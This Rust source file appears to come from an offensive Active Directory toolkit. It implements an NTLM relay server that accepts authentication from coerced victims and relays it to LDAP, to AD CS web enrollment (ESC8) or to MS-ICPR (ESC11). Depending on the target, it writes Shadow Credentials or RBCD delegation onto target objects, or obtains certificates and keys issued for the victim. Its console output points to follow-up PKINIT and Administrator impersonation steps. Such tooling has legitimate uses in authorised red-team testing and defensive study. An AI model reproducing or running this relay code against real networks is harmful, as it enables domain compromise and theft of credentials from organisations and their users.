use anyhow::{Context, Result};
use clap::Parser;
#[derive(clap::ValueEnum, Clone, Copy, Debug, PartialEq, Eq)]
pub enum RelayTarget {
LdapKeycred,
LdapRbcd,
AdcsHttp,
Icpr,
}
#[derive(Parser)]
pub(crate) struct RelayArgs {
#[arg(long, default_value = "0.0.0.0:445")]
pub listen: String,
#[arg(long)]
pub target_dc: String,
#[arg(long)]
pub realm: String,
#[arg(long)]
pub target_object: String,
#[arg(long, value_enum, default_value_t = RelayTarget::LdapKeycred)]
pub target: RelayTarget,
#[arg(long)]
pub trustee_sid: Option<String>,
#[arg(long)]
pub ca_host: Option<String>,
#[arg(long, default_value = "User")]
pub ca_template: String,
#[arg(long, default_value_t = 443)]
pub ca_port: u16,
#[arg(long, default_value_t = true)]
pub ca_insecure: bool,
}
#[derive(Clone, Debug)]
enum RelayAction {
LdapKeycred,
LdapRbcd,
AdcsHttp(String, u16, String, bool),
Icpr(String, String),
}
pub(crate) async fn relay(a: RelayArgs) -> Result<()> {
use smb2_client::server::RelayConn;
let (target, trustee_sid) = match a.target {
RelayTarget::LdapKeycred => (RelayAction::LdapKeycred, None),
RelayTarget::LdapRbcd => {
let sid = a.trustee_sid.clone().ok_or_else(|| {
anyhow::anyhow!(
"--target ldap-rbcd requires --trustee-sid <SID of a controlled account>"
)
})?;
(RelayAction::LdapRbcd, Some(sid))
}
RelayTarget::AdcsHttp => {
let ca = a.ca_host.clone().ok_or_else(|| {
anyhow::anyhow!("--target adcs-http requires --ca-host <ca.corp.local>")
})?;
(
RelayAction::AdcsHttp(ca, a.ca_port, a.ca_template.clone(), a.ca_insecure),
None,
)
}
RelayTarget::Icpr => {
let ca = a.ca_host.clone().ok_or_else(|| {
anyhow::anyhow!("--target icpr requires --ca-host <ca.corp.local>")
})?;
(RelayAction::Icpr(ca, a.ca_template.clone()), None)
}
};
let base: String = a
.realm
.split('.')
.map(|p| format!("DC={p}"))
.collect::<Vec<_>>()
.join(",");
let listener = RelayConn::listen(&a.listen).await?;
println!(
"[*] relay listening on {} → LDAP {} ({:?} on {})",
a.listen, a.target_dc, target, a.target_object
);
println!(" now coerce/poison a victim toward this host (e.g. attack coerce --pipe spoolss --listener <us>)");
loop {
let (stream, peer) = listener.accept().await?;
let (target_dc, base, target_object, trustee, tgt) = (
a.target_dc.clone(),
base.clone(),
a.target_object.clone(),
trustee_sid.clone(),
target.clone(),
);
tokio::spawn(async move {
if let Err(e) = relay_one(
stream,
&peer.to_string(),
&target_dc,
&base,
&target_object,
tgt,
trustee.as_deref(),
)
.await
{
println!("[-] relay from {peer} failed: {e}");
}
});
}
}
#[allow(clippy::too_many_arguments)]
async fn relay_one(
stream: tokio::net::TcpStream,
peer: &str,
target_dc: &str,
base: &str,
target_object: &str,
target: RelayAction,
trustee_sid: Option<&str>,
) -> Result<()> {
use smb2_client::server::RelayConn;
let mut rc = RelayConn::new(stream);
let type1 = rc.recv_type1().await?;
if let RelayAction::AdcsHttp(ref ca_host, port, ref template, insecure) = target {
return relay_esc8(
rc,
type1,
peer,
target_object,
ca_host,
port,
template,
insecure,
)
.await;
}
if let RelayAction::Icpr(ref ca_host, ref template) = target {
return relay_icpr(rc, type1, peer, target_object, ca_host, template).await;
}
println!("[+] victim {peer} started NTLM — relaying to {target_dc} LDAP");
let mut ld = adhammer_ldap::LdapClient::connect(&format!("{target_dc}:389")).await?;
let type2 = ld.sasl_step1(&type1).await?; rc.send_challenge(&type2).await?; let type3 = rc.recv_type3().await?;
ld.sasl_step2(&type3).await?; println!("[+] relayed bind to {target_dc} succeeded as the victim");
let dn = ld.find_dn(base, target_object).await?;
match target {
RelayAction::AdcsHttp(_, _, _, _) | RelayAction::Icpr(_, _) => {
unreachable!("handled above")
}
RelayAction::LdapKeycred => {
let kc = adhammer_kerberos::shadowcred::build_key_credential(&dn)?;
ld.modify_add(&dn, "msDS-KeyCredentialLink", kc.dn_binary.as_bytes())
.await?;
std::fs::write(format!("{target_object}.key.pem"), &kc.private_key_pem)?;
println!("[+] Shadow Credential written on {dn} — key {target_object}.key.pem");
println!(" → attack abuse --action pkinit --target {target_object} --realm <realm> --kdc {target_dc}");
}
RelayAction::LdapRbcd => {
let trustee = trustee_sid.expect("checked in relay(): --trustee-sid required");
let trustee = windows_sddl::sid::Sid::parse(trustee)
.ok_or_else(|| anyhow::anyhow!("bad trustee SID: {trustee}"))?;
let sd = windows_sddl::build_rbcd_sd(&trustee);
ld.modify_add(&dn, "msDS-AllowedToActOnBehalfOfOtherIdentity", &sd)
.await?;
println!(
"[+] RBCD written on {dn} — trustee {} can now S4U2Proxy → any user on {target_object}",
trustee_sid.unwrap()
);
println!(
" → attack rbcd --host <trustee-host> --target-spn cifs/{target_object} --target-user Administrator"
);
}
}
Ok(())
}
#[allow(clippy::too_many_arguments)]
async fn relay_esc8(
mut rc: smb2_client::server::RelayConn,
type1: Vec<u8>,
peer: &str,
target_object: &str,
ca_host: &str,
ca_port: u16,
template: &str,
insecure: bool,
) -> Result<()> {
use crate::attacks::adcs_relay::{
base64_decode, base64_encode, cert_request_form, parse_ntlm_challenge, parse_request_id,
HttpsClient,
};
println!(
"[+] victim {peer} started NTLM — relaying to https://{ca_host}:{ca_port}/certsrv/ (ESC8)"
);
let mut http = HttpsClient::connect(ca_host, ca_port, insecure).await?;
let csr = adhammer_kerberos::csr::build_csr("adhammer-esc8", None)?;
let csr_pem = pem_wrap("CERTIFICATE REQUEST", &csr.der);
let form = cert_request_form(&csr_pem, template);
let type1_b64 = base64_encode(&type1);
let auth1 = format!("NTLM {type1_b64}");
let headers1: &[(&str, &str)] = &[
("Authorization", &auth1),
("Content-Type", "application/x-www-form-urlencoded"),
("User-Agent", "adhammer-esc8/1"),
];
let r1 = http
.send("POST", "/certsrv/certfnsh.asp", headers1, b"")
.await?;
if r1.status != 401 {
anyhow::bail!(
"CA expected 401 with WWW-Authenticate NTLM Type-2, got {} (server may reject relayed auth)",
r1.status
);
}
let type2 = r1
.header("WWW-Authenticate")
.and_then(parse_ntlm_challenge)
.context("no NTLM Type-2 in WWW-Authenticate")?;
rc.send_challenge(&type2).await?;
let type3 = rc.recv_type3().await?;
let type3_b64 = base64_encode(&type3);
let auth3 = format!("NTLM {type3_b64}");
let headers3: &[(&str, &str)] = &[
("Authorization", &auth3),
("Content-Type", "application/x-www-form-urlencoded"),
("User-Agent", "adhammer-esc8/1"),
];
let r2 = http
.send("POST", "/certsrv/certfnsh.asp", headers3, form.as_bytes())
.await?;
if r2.status != 200 {
anyhow::bail!(
"CA rejected the CSR submission after NTLM auth: HTTP {} (template `{template}` may require different attrs, or the relayed identity lacks Enroll)",
r2.status
);
}
let html = String::from_utf8_lossy(&r2.body);
let req_id = parse_request_id(&html).context("no ReqID in ASP response (submission failed)")?;
println!("[+] CA accepted submission — Request ID {req_id}, fetching certificate…");
let path = format!("/certsrv/certnew.cer?ReqID={req_id}&Enc=b64");
let r3 = http
.send("GET", &path, &[("User-Agent", "adhammer-esc8/1")], b"")
.await?;
if r3.status != 200 {
anyhow::bail!("certnew.cer returned HTTP {} for ReqID {req_id}", r3.status);
}
let cert_bytes = if r3.body.starts_with(b"-----BEGIN") {
r3.body.clone()
} else {
let s = String::from_utf8_lossy(&r3.body);
base64_decode(s.trim())
.map(|der| pem_wrap("CERTIFICATE", &der).into_bytes())
.unwrap_or(r3.body.clone())
};
let cert_path = format!("{target_object}.esc8.pem");
let key_path = format!("{target_object}.esc8.key.pem");
std::fs::write(&cert_path, &cert_bytes)?;
std::fs::write(&key_path, csr.key_pem.as_bytes())?;
println!("[+] certificate written to {cert_path} — key {key_path}");
println!(
" → attack abuse --action pkinit --target <victim-sam> --value {key_path} --kdc <dc> --realm <realm>"
);
Ok(())
}
async fn relay_icpr(
mut rc: smb2_client::server::RelayConn,
type1: Vec<u8>,
peer: &str,
target_object: &str,
ca_host: &str,
template: &str,
) -> Result<()> {
use dcerpc::{epm, icpr, transport::RpcTcp};
println!("[+] victim {peer} started NTLM — relaying to MS-ICPR at {ca_host} (ESC11)");
let port = epm::resolve_port(ca_host, icpr::icpr_syntax()).await?;
let mut rpc = RpcTcp::connect(&format!("{ca_host}:{port}")).await?;
let type2 = rpc.bind_relay_start(icpr::icpr_syntax(), &type1).await?;
rc.send_challenge(&type2).await?;
let type3 = rc.recv_type3().await?;
rpc.bind_relay_finish(&type3).await?;
println!("[+] relayed CONNECT-level bind to ICPR succeeded as the victim");
let csr = adhammer_kerberos::csr::build_csr("adhammer-esc11", None)?;
let authority = ca_host.split('.').next().unwrap_or(ca_host);
let stub = icpr::encode_cert_server_request(authority, template, &csr.der);
let resp = rpc
.call(icpr::CERT_SERVER_REQUEST_OPNUM, &stub)
.await
.map_err(|e| {
anyhow::anyhow!(
"CertServerRequest failed — the CA likely enforces PKT_PRIVACY on ICPR (matrix-validation-owed): {e}"
)
})?;
let result = icpr::decode_cert_server_response(&resp)?;
if result.disposition != 3 {
anyhow::bail!(
"CA disposition {}: {} (3 = ISSUED, 5 = UNDER SUBMISSION, else denied)",
result.disposition,
result.message
);
}
let cert_pem = pem_wrap("CERTIFICATE", &result.cert_der);
let cert_path = format!("{target_object}.esc11.pem");
let key_path = format!("{target_object}.esc11.key.pem");
std::fs::write(&cert_path, cert_pem.as_bytes())?;
std::fs::write(&key_path, csr.key_pem.as_bytes())?;
println!("[+] ISSUED — certificate written to {cert_path} — key {key_path}");
println!(
" → attack abuse --action pkinit --target <victim-sam> --value {key_path} --kdc <dc> --realm <realm>"
);
Ok(())
}
fn pem_wrap(label: &str, der: &[u8]) -> String {
use crate::attacks::adcs_relay::base64_encode;
let b64 = base64_encode(der);
let mut out = format!("-----BEGIN {label}-----\n");
for line in b64.as_bytes().chunks(64) {
out.push_str(std::str::from_utf8(line).unwrap());
out.push('\n');
}
out.push_str(&format!("-----END {label}-----\n"));
out
}